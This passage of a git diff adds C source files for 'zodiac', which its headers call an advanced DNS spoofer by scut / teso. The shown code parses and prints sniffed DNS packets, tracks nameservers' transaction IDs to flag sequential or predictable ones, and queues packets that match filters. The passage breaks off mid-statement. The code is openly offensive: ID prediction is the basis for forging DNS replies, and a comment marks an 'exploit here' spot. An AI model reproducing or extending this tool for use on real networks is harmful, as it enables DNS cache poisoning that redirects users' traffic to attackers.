answer array */ + unsigned char *d_auth[SEG_COUNT_MAX]; /* authority array */ + unsigned char *d_addi[SEG_COUNT_MAX]; /* additional array */ + char dns_p[2048]; /* output (for humans :) */ + +#ifdef PDEBUG + hexdump ("packet-dns", (unsigned char *) dns, 256); +#endif + /* segmentify dns packet + */ + n = dns_segmentify (dns, dns_data, d_quer, d_answ, d_auth, d_addi); + if (n != 0) { + m_printf (ms, ms->windns, "FAILURE ON DNS PACKET DISASSEMBLY\n"); + return; + } + + memset (dns_p, '\0', sizeof (dns_p)); + + /* only print own packets if dns_print_own_packets is 1 + */ + if (dns_print_own_packets == 1 || dns_tag_check_n (&ip->ip_src, + &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport), + htons (dns->id)) == 0) + { + if (quiteness == 0) { + dns_printpkt (dns_p, sizeof (dns_p) - 1, ip, udp, dns, + dns_data, d_quer, d_answ, d_auth, d_addi); + } + } + + /* do the real packet filtering stuff only if the packet isn't on the + * marked send queue :) + */ + if (dns_tag_check_n (&ip->ip_src, &ip->ip_dst, htons (udp->uh_sport), + htons (udp->uh_dport), htons (dns->id)) == 0) + { + dq_handle (ip, udp, dns, plen); + } + + /* return + */ + return; +} + + +/* dns_p_print + * + * decode a dns packet pointed to by `dns' and `dns_data' to a human readable + * form to the string pointed to by `os', with a maximum length of `len' + * + * return 0 on success + * return 1 on failure + */ + +int +dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], unsigned char *d_answ[], + unsigned char *d_auth[], unsigned char *d_addi[]) +{ + int n; + + scnprintf (os, len, "[%04x] ", ntohs (dns->id)); + + if (dns->qr == 0) { + /* print the query + */ + if (dns->opcode != 0 && dns->opcode != 1) { + scnprintf (os, len, "unsupported opcode %02x %s", dns->opcode, + (dns->opcode == 3) ? "ST " : ""); + } else { + if (dns->opcode == 0) + scnprintf (os, len, " Q "); + else if (dns->opcode == 1) + scnprintf (os, len, "IQ "); + } + } else if (dns->qr == 1) { + char *rcstr = NULL; + + /* authoritative answer ? + */ + if (dns->aa == 1) + scnprintf (os, len, "AA "); + else + scnprintf (os, len, " A "); + + rcstr = rcodes[dns->rcode]; + scnprintf (os, len, "(%s)", (rcstr == NULL) ? "?" : rcstr); + } + + for (n = 0; n < ntohs (dns->qdcount) && n < SEG_COUNT_MAX; n++) { + if (n == 0) + scnprintf (os, len, "\n\t-QUERIES (%hu)-", ntohs (dns->qdcount)); + scnprintf (os, len, "\n\t\t"); + dns_p_q ((unsigned char *) dns, os, len, d_quer[n]); + } + + for (n = 0; n < ntohs (dns->ancount) && n < SEG_COUNT_MAX; n++) { + if (n == 0) + scnprintf (os, len, "\n\t-ANSWERS (%hu)-", ntohs (dns->ancount)); + scnprintf (os, len, "\n\t\t"); + dns_p_rr ((unsigned char *) dns, os, len, d_answ[n]); + } + for (n = 0; n < ntohs (dns->nscount) && n < SEG_COUNT_MAX; n++) { + if (n == 0) + scnprintf (os, len, "\n\t-AUTHORITY (%hu)-", ntohs (dns->nscount)); + scnprintf (os, len, "\n\t\t"); + dns_p_rr ((unsigned char *) dns, os, len, d_auth[n]); + } + for (n = 0; n < ntohs (dns->arcount) && n < SEG_COUNT_MAX; n++) { + if (n == 0) + scnprintf (os, len, "\n\t-ADDITIONAL (%hu)-", ntohs (dns->arcount)); + scnprintf (os, len, "\n\t\t"); + dns_p_rr ((unsigned char *) dns, os, len, d_addi[n]); + } + + return (0); +} + + +/* dns_p_q + * + * print a dns query record pointed to by `wp' as a human readable string, + * and append it to `os', which can have a maximum size of `len' characters. + */ + +void +dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) +{ + char qname[256]; + char *qt; + u_short qtype, qclass; + + memset (qname, '\0', sizeof (qname)); + dns_dcd_label (dns_start, &wp, qname, sizeof (qname) - 1, 5); + + /* get query type and class + */ + GETSHORT (qtype, wp); + GETSHORT (qclass, wp); + + if (qtype <= 16) + qt = types[qtype]; + else + qt = NULL; + + scnprintf (os, len, "[t: %s (%04x)][c: %04x] %s", + (qt != NULL) ? qt : "-", qtype, qclass, qname); + + return; +} + + +/* dns_p_rdata + * + * print a resource record rdata field pointed to by `rdp' as a human readable + * string `rdstr' with a maximum length `len', depending on rdata type `rtype' + * the data pointed to by `rdp' has the length `rdlen'. + * + * return nothing + */ + +void +dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, + u_short rtype, unsigned char *rdp, u_short rdlen) +{ + char *ips; + char ipv4str[64]; /* temporary IP address string */ + struct in_addr ip; + unsigned char *wps = rdp; + + memset (rdstr, '\0', len); + + switch (rtype) { + case (T_A): + memcpy (&ip, rdp, sizeof (struct in_addr)); + + ips = ipv4_print (ipv4str, ip, 0); + scnprintf (rdstr, len, "%s", ips); + + break; + + case (T_CNAME): + case (T_NS): + case (T_PTR): + dns_dcd_label (dns_start, &wps, rdstr, len, 5); + break; + + default: + break; + } + + return; +} + + +/* dns_p_rr + * + * print a dns resource record pointed to by `wp' as a human readable string, + * and append it to `os', which can have a maximum size of `len' characters. + */ + +void +dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) +{ + char name[256], rdatas[256]; + char *t; + u_short type, class, rdlen; + u_long ttl; + + /* decode label + */ + memset (name, '\0', sizeof (name)); + dns_dcd_label (dns_start, &wp, name, sizeof (name), 5); + + /* get type/class/ttl/rdlength/rdata + * then assign appropiate type description + */ + GETSHORT (type, wp); + GETSHORT (class, wp); + GETLONG (ttl, wp); + GETSHORT (rdlen, wp); + t = (type <= 16) ? types[type] : NULL; + + /* add decoded rdata info into rdatas + * different decoding depending on type + */ + dns_p_rdata (dns_start, rdatas, sizeof (rdatas), type, wp, rdlen); + + scnprintf (os, len, "[t: %s (%04x)][c: %04x][ttl: %lu][r: %04x] %s : %s", + (t != NULL) ? t : "-", type, class, ttl, rdlen, name, rdatas); + + return; +} + + +/* dns_segmentify + * + * segmentify a dns datagram pointed to by `dns_hdr' and `dns_data' into it's + * different parts, such as the query part (pointed to by `d_quer'), the + * answer part (pointed to by `d_answ'), the authoritaty (pointed to by + * `d_auth') and the additional information parts (pointed to by `d_addi'). + * + * return 0 on success, and fill all the **-pointers to either NULL or data + * within the `dns_data' array. + */ + +int +dns_segmentify (dns_hdr *dns, unsigned char *dns_data, + unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], + unsigned char *d_addi[]) +{ + unsigned char *wp; /* work pointer */ + + wp = dns_data; + + /* get queries, answers, authorities and additional information + */ + dns_seg_q (&wp, d_quer, htons (dns->qdcount), SEG_COUNT_MAX); + dns_seg_rr (&wp, d_answ, htons (dns->ancount), SEG_COUNT_MAX); + dns_seg_rr (&wp, d_auth, htons (dns->nscount), SEG_COUNT_MAX); + dns_seg_rr (&wp, d_addi, htons (dns->arcount), SEG_COUNT_MAX); + + return (0); +} + + +/* dns_seg_q + * + * segmentify a query record of a dns datagram, starting at `wp', creating + * an array of `c' number of pointers in `d_arry', truncating if it exceeds + * a number of `max_size' records + */ + +void +dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) +{ + int count; + + for (count = 0; count < c && count < max_size; count++) { + d_arry[count] = *wp; + *wp += dns_labellen (*wp); /* skip label */ + *wp += 2 * sizeof (u_short); /* skip qtype/qclass */ + } +} + + +/* dns_seg_rr + * + * segmentify a resource record of a dns datagram, starting at `wp', creating + * an array of `c' number of pointers in `d_arry', truncating if it exceeds + * a number of `max_size' records + */ + +void +dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) +{ + int count; + unsigned long int rdlen; + + for (count = 0; count < c && count < max_size; count++) { + d_arry[count] = *wp; + + /* skip the label (most likely compressed) + */ + *wp += dns_labellen (*wp); + + /* skip the type, class, ttl + */ + *wp += 8 * sizeof (u_char); + + /* resource data length + */ + GETSHORT (rdlen, *wp); + *wp += rdlen; + } + + return; +} + + +/* dns_labellen + * + * determine the length of a dns label pointed to by `wp' + * + * return the length of the label + */ + +int +dns_labellen (unsigned char *wp) +{ + unsigned char *wps = wp; + + while (*wp != '\x00') { + /* in case the label is compressed we don't really care, + * but just skip it + */ + if ((*wp & INDIR_MASK) == INDIR_MASK) { + wp += sizeof (u_short); + + /* non-clear RFC at this point, got to figure with some + * real dns packets + */ + return ((int) (wp - wps)); + } else { + wp += (*wp + 1); + } + } + + return ((int) (wp - wps) + 1); +} + + +/* dns_dcd_label + * + * decode a label sequence pointed to by `qname' to a string pointed to by + * `os', with a maximum length of `len' characters + * after successful decoding it will update *qname, to point to the qtype + * if the `dig' flag is > 0 the routine may allow to call itself recursively + * at a maximum dig level of `dig'. + * if `dig' is zero it is a recursive call and may not call itself once more. + * `dns_start' is a pointer to the beginning of the dns packet, to allow + * compressed labels to be decoded. + * + * return 0 on success + * return 1 on failure + */ + +int +dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig) +{ + unsigned char *qn = *qname; + + while (*qn != '\0') { + if ((*qn & INDIR_MASK) == INDIR_MASK) { + int offset; /* compression offset */ + unsigned char *tpt; /*temporary pointer */ + + if (dig == 0) { + if (dns_start == NULL) + return (1); + + m_printf (ms, ms->windns, "DNS attack, compr. flaw exploit attempt\n"); + return (1); + } + + /* don't fuck with big bad endian + */ + + offset = (((unsigned char) *qn) & ~0xc0) << 8; + qn += 1; + offset += (int) ((unsigned char) *qn); + qn += 1; + + /* recursivly decode the label pointed to by the offset + * exploit here =) + */ + + tpt = dns_start + offset; + *qname = qn; + + return (dns_dcd_label (dns_start, &tpt, os, len, dig - 1)); + + } else { + char label[65]; + + memset (label, '\0', sizeof (label)); + memcpy (label, qn + 1, (*qn & ~INDIR_MASK)); + scnprintf (os, len, "%s", label); + } + + qn += *qn + 1; + if (*qn != 0) + scnprintf (os, len, "."); + } + + *qname = qn + 1; + + return (0); +} + +#if 0 + +/* + * My attempt at a version of dns_dcd_label that isn't recursive + * note this version doesn't check for errors yet....like + * nasty compressed dns packets which cause infinite loops :-( + * returns the length of the compressed domain name. + * -smiler + */ + +int +dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig) +{ + unsigned char *qn = *qname, + *start = qn, + *end = NULL; + unsigned char labellen; + unsigned short off; + + while ((labellen = *qn++) != '\0') { + if (labellen & INDIR_MASK != 0) { + end = qn + 1; + off = (unsigned char) (labellen & ~INDIR_MASK); + off |= *qn++ << 8; + /* I think this works on big endian too... */ + off = ntohs (off); + qn = dns_start + off; + continue; + } + memcpy (os, qn, labellen); + os += labellen; + qn += labellen; + *os++ = '.'; + } + + if (end == NULL) + end = qn; + + *os++ = 0; + *qname = qn; + + return (end - start); +} + +#endif + + +/* dns_printpkt + * + * print dns packet header pointed to by `dns' in human readable form + * to dns window + * + * return nothing + */ + +void +dns_printpkt (char *os, size_t osl, ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *data, + unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], + unsigned char *d_addi[]) +{ + char ipsrc[64], ipdst[64]; + char *is, *id; + + is = ipv4_print (ipsrc, ip->ip_src, 2); + id = ipv4_print (ipdst, ip->ip_dst, 2); + + scnprintf (os, osl, "[%s:%5hu ->", is, ntohs (udp->uh_sport)); + scnprintf (os, osl, " %s:%5hu] ", id, ntohs (udp->uh_dport)); + + /* print decoded dns packet to screen + */ + dns_p_print (os, osl, dns, d_quer, d_answ, d_auth, d_addi); + m_printf (ms, ms->windns, "%s\n", os); + + return; +} + diff --git a/dns-projects/zodiac/src/dns.h b/dns-projects/zodiac/src/dns.h new file mode 100644 index 0000000..77221e8 --- /dev/null +++ b/dns-projects/zodiac/src/dns.h @@ -0,0 +1,66 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns / id queue handling routines + */ + +#ifndef Z_DNS_H +#define Z_DNS_H + + +#include +#include +#include +#include +#include "dnsid.h" +#include "output.h" +#include "packet.h" + + +/* dns flags (for use with libnet) + */ +#define DF_RESPONSE 0x8000 +#define DF_OC_STD_Q 0x0000 +#define DF_OC_INV_Q 0x0800 +#define DF_OC_STAT 0x1800 +#define DF_AA 0x0400 +#define DF_TC 0x0200 +#define DF_RD 0x0100 +#define DF_RA 0x0080 +#define DF_RCODE_FMT_E 0x0001 +#define DF_RCODE_SRV_E 0x0002 +#define DF_RCODE_NAME_E 0x0003 +#define DF_RCODE_IMPL_E 0x0004 +#define DF_RCODE_RFSD_E 0x0005 + + +#define SEG_COUNT_MAX 16 + +void dns_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *dns_data, unsigned int plen); + +int dns_segmentify (dns_hdr *dns, unsigned char *dns_data, + unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], + unsigned char *d_addi[]); +void dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); +void dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); +int dns_labellen (unsigned char *wp); + +/* dns_printpkt + * + * print a packet into the dns window + */ + +void dns_printpkt (char *os, size_t osl, ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *data, + unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], + unsigned char *d_addi[]); +int dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], + unsigned char *d_answ[], unsigned char *d_auth[], unsigned char *d_addi[]); +void dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); +void dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); +void dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, u_short rtype, + unsigned char *rdp, u_short rdlen); +int dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig); + +#endif + diff --git a/dns-projects/zodiac/src/dnsid.c b/dns-projects/zodiac/src/dnsid.c new file mode 100644 index 0000000..801e9d4 --- /dev/null +++ b/dns-projects/zodiac/src/dnsid.c @@ -0,0 +1,403 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns id queue handling routines + * + */ + +#define DNSID_MAIN + +#include +#include +#include +#include +#include +#include "common.h" +#include "dnsid.h" +#include "dns.h" +#include "network.h" +#include "zodiac.h" +#include "output.h" + +id_q *id_root = NULL; + +/* id_qprint + * + * erase the window pointed to by `win' in `screen', then print all + * ID's stored in queue pointed to by `root', which is protected by `rm' + */ + +void +id_qprint (mscr *screen, WINDOW *win) +{ + id_q *this; /* list step-through pointer */ + + /* clear window + */ + pthread_mutex_lock (&screen->outm); + werase (win); + pthread_mutex_unlock (&screen->outm); + + pthread_mutex_lock (&id_rmutex); + this = id_root; + + while (this != NULL) { + char ip[64], *ipp; + unsigned long int age = 0; + id_q *next; + + pthread_mutex_lock (&this->id_mutex); + + ipp = ipv4_print (ip, this->ip, 2); /* print ip in quad-dot, padded with spaces */ + age = id_tdiff (&this->mtime); /* compute the age of the known id */ + + m_printfnr (screen, win, "[%s] %04x = %8lu %s%s\n", ipp, this->id, age, + ((this->flags & IDF_SEQ) == IDF_SEQ) ? "SEQUENTIAL " : "", + ((this->flags & IDF_WINDUMB) == IDF_WINDUMB) ? "WINDOWS" : ""); + + next = this->next; + pthread_mutex_unlock (&this->id_mutex); + this = next; + } + + pthread_mutex_unlock (&id_rmutex); + + pthread_mutex_lock (&screen->outm); + wrefresh (win); + pthread_mutex_unlock (&screen->outm); + + return; +} + + +/* id_tdiff + * + * calculate the age in seconds from the given timeinterval and the current + * time. + * + * return the age in seconds + */ + +unsigned long int +id_tdiff (struct timeval *mtime) +{ + struct timeval current; /* current time */ + + /* get current time + */ + gettimeofday (¤t, NULL); + + return (tdiff (mtime, ¤t)); +} + + +/* id_free + * + * free's an id_q structure, pointed to by `tofree'. this routine assumes that + * the calling function hold the `id_mutex', and won't unlock it later, because + * it gets destroyed. + */ + +void +id_free (id_q *tofree) +{ + pthread_mutex_destroy (&tofree->id_mutex); + free (tofree); + + return; +} + + +/* id_seq + * + * make assumptions wether a dns id is predictable and used sequentially. + * use the time `o_time' of the old id `old_id' to compare with the new + * id `new_id'. use limit `idps' to get id rate per second. + * + * return 1 if it is sequentially (rate below or equal to `idps' + * return 0 if the id is not predictable or random (above the rate) + * return -1 if `old_id' is same as `new_id' + */ + +int +id_seq (u_short new_id, u_short old_id, struct timeval *o_time, int idps) +{ + unsigned long int age; + u_short id_diff = 0; + + /* handle bigger/smaller cases signed, if equal it is most likely + * a second query approach, therefore id_diff stays zero + */ + if (new_id > old_id) + id_diff = (new_id - old_id); + else if (new_id < old_id) + id_diff = (old_id - new_id); + + if (id_diff == 0) + return (-1); + + /* make some calculations about predictability + * of the id's + */ + age = id_tdiff (o_time); + if (age == 0) + age = 1; + + /* less then 10 id's per second + */ + if ((id_diff / age) <= idps) + return (1); + + return (0); +} + + +/* id_windows + * + * check if both id's, `id_new' and `id_old' may be send out by a windows + * `operating system' dns resolver library. + * + * return 1 if it is most likely a windows box + * return 0 if it is most likely not a windows box + */ + +int +id_windows (u_short id_new, u_short id_old) +{ + if (id_new <= 20 && id_old <= 20) + return (1); + + return (0); +} + + +/* id_add + * + * add/update a nameserver id entry for `ip' as the nameserver ip, + * `id' as the measured nameserver id, and `mtime' as the time measured. + * + * return nothing (since the packet is mutexed) + */ + +void +id_add (struct in_addr ip, u_short id, struct timeval *mtime) +{ + id_q *n_idq; /* new id queue element */ + + /* get memory for new linked list element + */ + n_idq = xcalloc (1, sizeof (id_q)); + + /* initialize structure + */ + pthread_mutex_init (&n_idq->id_mutex, NULL); + memcpy (&n_idq->ip, &ip, sizeof (struct in_addr)); + n_idq->id = id; + n_idq->flags = 0; + memcpy (&n_idq->mtime, mtime, sizeof (struct timeval)); + n_idq->next = NULL; + + pthread_mutex_lock (&id_rmutex); + + if (id_root == NULL) { + id_root = n_idq; + } else { + id_q *this, *last; + int bc = 0; /* for break condition */ + + /* step through the linked list until either an old entry + * was found, or we have reached the end of the list + * quite scuttish code ;-) + * + * fixed, optimized and rewritten 990614, please don't mod here + */ + + last = this = id_root; + + while (bc == 0) { + pthread_mutex_lock (&this->id_mutex); + + /* if the id is already stored, unlink the old id_q, + * and put our one instead + */ + if (memcmp (&this->ip, &ip, sizeof (struct in_addr)) == 0) { + id_q *old; + int nr; /* temp. return value */ + + /* check wether the dns id is sequential + */ + nr = id_seq (id, this->id, &this->mtime, 40); + if (nr == -1) { + n_idq->flags = this->flags; + } else if (nr == 1) { + n_idq->flags |= IDF_SEQ; + } else if (nr == 0) { + /* n_idq->flags &= ~IDF_SEQ; + */ + n_idq->flags = this->flags; + } + + nr = id_windows (id, this->id); + if (nr == 1) + n_idq->flags |= IDF_WINDUMB; + else + n_idq->flags &= ~IDF_WINDUMB; + + /* if we have to replace the entry, we copy the link- + * data from it, then remove it from the linked list + */ + old = this; + n_idq->next = old->next; + + /* if there were id_q's before, correct the last one + */ + if (old == id_root) { + id_root = n_idq; + } else { + pthread_mutex_lock (&last->id_mutex); + last->next = n_idq; + pthread_mutex_unlock (&last->id_mutex); + } + pthread_mutex_unlock (&old->id_mutex); + id_free (old); + bc = 1; /* break if entry already exists */ + + /* else, when the end of the id queue is reached, without + * any matching entry, then just add our one to the end + */ + } else if (this->next == NULL) { + this->next = n_idq; + if (id_windows (0, this->id) == 1) + this->flags |= IDF_WINDUMB; + + bc = 2; /* break when end of list is reached */ + } + + if (bc != 1) { + last = this; + this = this->next; + pthread_mutex_unlock (&last->id_mutex); + } + } + /* bc == 2 is already carried out + */ + } + + pthread_mutex_unlock (&id_rmutex); + + return; +} + + +/* id_speed + * + * fetch the id increasing speed. + * + * return the dns id increasing speed (in id's per 10 seconds) of the + * nameserver with ip `ip'. + * return 0 on failure. + */ + +unsigned long int +id_speed (char *ip_a) +{ + id_q *this; /* working pointer for queue */ + struct in_addr ip_ad; + unsigned long int speed = 0; + + pthread_mutex_lock (&id_rmutex); + ip_ad.s_addr = net_resolve (ip_a); + + for (this = id_root; this != NULL; this = this->next) { + pthread_mutex_lock (&this->id_mutex); + if (memcmp (&this->ip, &ip_ad, sizeof (struct in_addr)) == 0) { + speed = this->id_speed; + } + pthread_mutex_unlock (&this->id_mutex); + } + pthread_mutex_unlock (&id_rmutex); + + return (speed); +} + + +/* id_get + * + * return the last dns ID measured, with time pointed to by `tv' + * if `tv' is NULL, the timeval is not copied. + * + * return ID and copy timeval into *tv on success + * return 0 on failure + */ + +u_short +id_get (char *ip, struct timeval *tv, unsigned long int *flags) +{ + u_short id; /* id to return */ + id_q *this; /* working pointer for queue */ + int bc = 1; /* break condition */ + struct in_addr ip_a; + + /* lock queue mutex to sync all queue functions + */ + pthread_mutex_lock (&id_rmutex); + + ip_a.s_addr = net_resolve (ip); + + /* step through queue + */ + for (this = id_root; this != NULL && bc; this = this->next) { + pthread_mutex_lock (&this->id_mutex); + + if (memcmp (&this->ip, &ip_a, sizeof (struct in_addr)) == 0) { + if (tv != NULL) { + memcpy (tv, &this->mtime, sizeof (struct timeval)); + } + id = this->id; + *flags = this->flags; + bc = 0; /* break */ + } + + pthread_mutex_unlock (&this->id_mutex); + } + + pthread_mutex_unlock (&id_rmutex); + + return (bc == 0 ? (id) : 0); +} + + +/* id_qcleanup + * + * cleans up the whole id queue pointed to by `root', protected by `rm'. + */ + +void +id_qcleanup (pthread_mutex_t *rm, id_q **root) +{ + id_q *this; + + pthread_mutex_lock (rm); + this = *root; + *root = NULL; + + while (this != NULL) { + + id_q *next; + + /* lock, then destroy mutex + */ + pthread_mutex_lock (&this->id_mutex); + pthread_mutex_destroy (&this->id_mutex); + + next = this->next; + id_free (this); + this = next; + } + + pthread_mutex_unlock (rm); + + return; +} + diff --git a/dns-projects/zodiac/src/dnsid.h b/dns-projects/zodiac/src/dnsid.h new file mode 100644 index 0000000..3dd6385 --- /dev/null +++ b/dns-projects/zodiac/src/dnsid.h @@ -0,0 +1,58 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns id queue handling header file + */ + +#ifndef Z_DNSID_H +#define Z_DNSID_H + +#include +#include "output.h" + +#define IDF_SEQ 0x0001 /* sequential id's */ +#define IDF_WINDUMB 0x0002 /* windows dumb id's (just non-collision id's, starting at 0x0001) */ + +/* id_q + * + * linked list element that hold the last visible id of the nameserver with + * ip `ip'. `mtime' is the time the id was measured. `next' is the pointer + * to the next element of the linked list + * + * each element is protected by the `id_mutex' mutal exclusion variable + */ + +typedef struct id_q { + pthread_mutex_t id_mutex; /* mutal exclusion over the structure */ + struct in_addr ip; /* ip of the nameserver */ + u_short id; + u_short id_guess; /* next guess range for id (= id + range) */ + unsigned long int id_speed_c; /* how many times the speed has been counted */ + unsigned long int id_speed; /* differential analysed dns id increasing + * speed in increases per 10 seconds + */ + unsigned long int flags; /* flags */ + + struct timeval mtime; + struct id_q *next; +} id_q; + +void id_qprint (mscr *screen, WINDOW *win); +unsigned long int id_tdiff (struct timeval *mtime); +void id_free (id_q *tofree); +int id_seq (u_short new_id, u_short old_id, struct timeval *o_time, int idps); +int id_windows (u_short id_new, u_short id_old); +void id_add (struct in_addr ip, u_short id, struct timeval *mtime); +u_short id_get (char *ip_a, struct timeval *tv, unsigned long int *flags); +unsigned long int id_speed (char *ip_a); +void id_qcleanup (pthread_mutex_t *rm, id_q **root); + +#ifndef DNSID_MAIN +extern id_q *id_root; +#endif + +extern pthread_mutex_t id_rmutex; + +#endif + diff --git a/dns-projects/zodiac/src/dnsq.c b/dns-projects/zodiac/src/dnsq.c new file mode 100644 index 0000000..7997841 --- /dev/null +++ b/dns-projects/zodiac/src/dnsq.c @@ -0,0 +1,622 @@ + +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns queue routines + */ + +#define DNSQ_MAIN + +#include +#include +#include +#include +#include "common.h" +#include "dns.h" +#include "dnsq.h" +#include "packet.h" + + +/* a maximum of 256 filters should be used + * raise this on demand + */ + +#define DQ_MAX 256 +pthread_mutex_t dqf_mutex = PTHREAD_MUTEX_INITIALIZER; /* mutex over this array */ +dq_filter *dqf[DQ_MAX]; /* filter descriptor array */ +int dq_count = 0; /* total filter count */ + + +/* dq_match + * + * compare two filters, `real' is a real filter from the filter table, + * `pseudo' is a pseudo filter, that is just used for this comparing + * purposes. + * + * return 1 if they match + * return 0 if they don't match + */ + +int +dq_match (dq_filter *real, dq_filter *pseudo) +{ + int n; /* temporary return value */ + dns_hdr *dns; /* dns header pointer */ + unsigned char *query_data; /* first query in dns packet */ + + /* compare the ip's, skipping INADDR_ANY records + */ + if (real->ip_src.s_addr != htonl (INADDR_ANY)) { + if (real->ip_src.s_addr != pseudo->ip_src.s_addr) + return (0); + } + if (real->ip_dst.s_addr != htonl (INADDR_ANY)) { + if (real->ip_dst.s_addr != pseudo->ip_dst.s_addr) + return (0); + } + + /* compare the source/destination ports, skipping zero ports + */ + if (real->port_src != 0) { + if (real->port_src != pseudo->port_src) + return (0); + } + if (real->port_dst != 0) { + if (real->port_dst != pseudo->port_dst) + return (0); + } + + /* finally, check the dns id range + */ + if (real->id_watch == 1) { + if (pseudo->id_start < real->id_start) + return (0); + if (pseudo->id_start > real->id_end) + return (0); + } + + + /* query comparison + */ + + if (real->query != NULL && pseudo->dns_packet != NULL) { + dns = (dns_hdr *) pseudo->dns_packet; + if (ntohs (dns->qdcount) >= 1) { + char label[256]; + + /* decode query label from incoming packet and then compare + * with given query + */ + query_data = pseudo->dns_packet + sizeof (dns_hdr); + memset (label, '\0', sizeof (label)); + + n = dns_dcd_label (pseudo->dns_packet, &query_data, label, sizeof (label) - 1, 5); + + /* decoding failed + */ + if (n == 1) + return (0); + + xstrupper (label); + + if (strcmp (label, real->query) != 0) + return (0); + } else { + /* no query in the packet, but required by filter + */ + + return (0); + } + } + + /* all aspects to check matched + */ + return (1); +} + + +/* dq_activate + * + * activate any dq_filter_wait () that may wait for filter activity from + * the filter pointed to by `filt'. + * assume that the calling function holds filt->dq_mutex. + * + * return in any case + */ + +void +dq_activate (dq_filter *filt) +{ + sem_post (&filt->dq_sem); + + return; +} + + +/* dq_handle + * + * check wether an incoming dns packet matches the filter table, then + * take the appropiate actions. + * + * return in any case + */ + +void +dq_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned int plen) +{ + int slot, n; /* temporary slot counter */ + dq_filter *tflt; /* temporary filter for matching purposes */ + + /* create new pseudo filter + */ + tflt = xcalloc (1, sizeof (dq_filter)); + tflt->ip_src = ip->ip_src; + tflt->ip_dst = ip->ip_dst; + tflt->port_src = htons (udp->uh_sport); + tflt->port_dst = htons (udp->uh_dport); + tflt->id_watch = 0; + tflt->id_start = htons (dns->id); + tflt->id_end = 0; + tflt->dns_packet = (unsigned char *) dns; + + /* go through all slots + */ + pthread_mutex_lock (&dqf_mutex); + + n = dq_count; + + for (slot = 0; n > 0 && slot < DQ_MAX; slot++) { + if (dqf[slot] == NULL) + continue; + + n--; + + /* check wether they match, then activate threads that may listen + * for activity on the descriptor + */ + if (dq_match (dqf[slot], tflt) == 1) { + pthread_mutex_lock (&dqf[slot]->dq_mutex); + + dqf[slot]->dq_sem_real = 1; + dq_p_append (dqf[slot], (unsigned char *) ip, plen); + dq_activate (dqf[slot]); + + pthread_mutex_unlock (&dqf[slot]->dq_mutex); + } + + } + pthread_mutex_unlock (&dqf_mutex); + + /* free the pseudo filter + */ + free (tflt); + + + return; +} + + +/* dq_p_get + * + * get the first packet stored in queue on filter associated with `desc' + * + * return a pointer to the unlinked first packet + * return NULL on failure + */ + +dq_packet * +dq_p_get (int desc) +{ + dq_filter *df; + dq_packet *this; + + pthread_mutex_lock (&dqf_mutex); + df = dqf[desc]; + if (df != NULL) { + pthread_mutex_lock (&df->dq_mutex); + if (df->p_root == NULL) + return (NULL); + + this = df->p_root; + df->p_root = this->next; + pthread_mutex_unlock (&df->dq_mutex); + } + + pthread_mutex_unlock (&dqf_mutex); + + return (this); +} + + +/* dq_p_append + * + * append a packet to a filter queue, where `packet' contains + * data consisting out of the ip header, udp header, dns header and dns data + */ + +void +dq_p_append (dq_filter *df, unsigned char *packet, unsigned int packetlength) +{ + dq_packet *this, *last; + + this = df->p_root; + + /* first packet + */ + if (this == NULL) { + df->p_root = xcalloc (1, sizeof (dq_packet)); + this = df->p_root; + } else { + /* append to the list + */ + + while (this != NULL) { + last = this; + this = this->next; + } + + last->next = xcalloc (1, sizeof (dq_packet)); + this = last->next; + + } + + this->next = NULL; + this->packet = xcalloc (1, packetlength); + memcpy (this->packet, packet, packetlength); + this->plen = packetlength; + + return; +} + + +/* dq_findslot + * + * find a free slot in the array `df', with a maximum array size of `dqmax' + * + * return -1 if no slot is free + * return slot if slot is found + */ + +int +dq_findslot (dq_filter *df[], int dq_max) +{ + int n; + + for (n = 0; n < dq_max; n++) { + if (df[n] == NULL) + return (n); + } + return (-1); +} + + +/* dq_filter_install + * + * return -1 on failure + * return >=0 as a dq_filter descriptor + */ + +int +dq_filter_install (struct in_addr ip_src, struct in_addr ip_dst, + unsigned short int port_src, unsigned short int port_dst, + int id_watch, u_short id_start, u_short id_end, char *query) +{ + dq_filter *nf; + int slot; /* free slot */ + + + pthread_mutex_lock (&dqf_mutex); + + slot = dq_findslot (dqf, DQ_MAX); + if (slot == -1) + return (-1); + + nf = xcalloc (1, sizeof (dq_filter)); + + /* initialize thread variables + */ + pthread_mutex_init (&nf->dq_mutex, NULL); + pthread_mutex_lock (&nf->dq_mutex); + sem_init (&nf->dq_sem, 0, 0); + + /* set up filter data + */ + nf->dq_sem_real = 0; + nf->dq_desc = slot; /* set descriptor */ + nf->ip_src = ip_src; + nf->ip_dst = ip_dst; + nf->port_src = port_src; + nf->port_dst = port_dst; + nf->id_watch = id_watch; + nf->id_start = id_start; + nf->id_end = id_end; + nf->dns_packet = NULL; + nf->p_root = NULL; + + if (query == 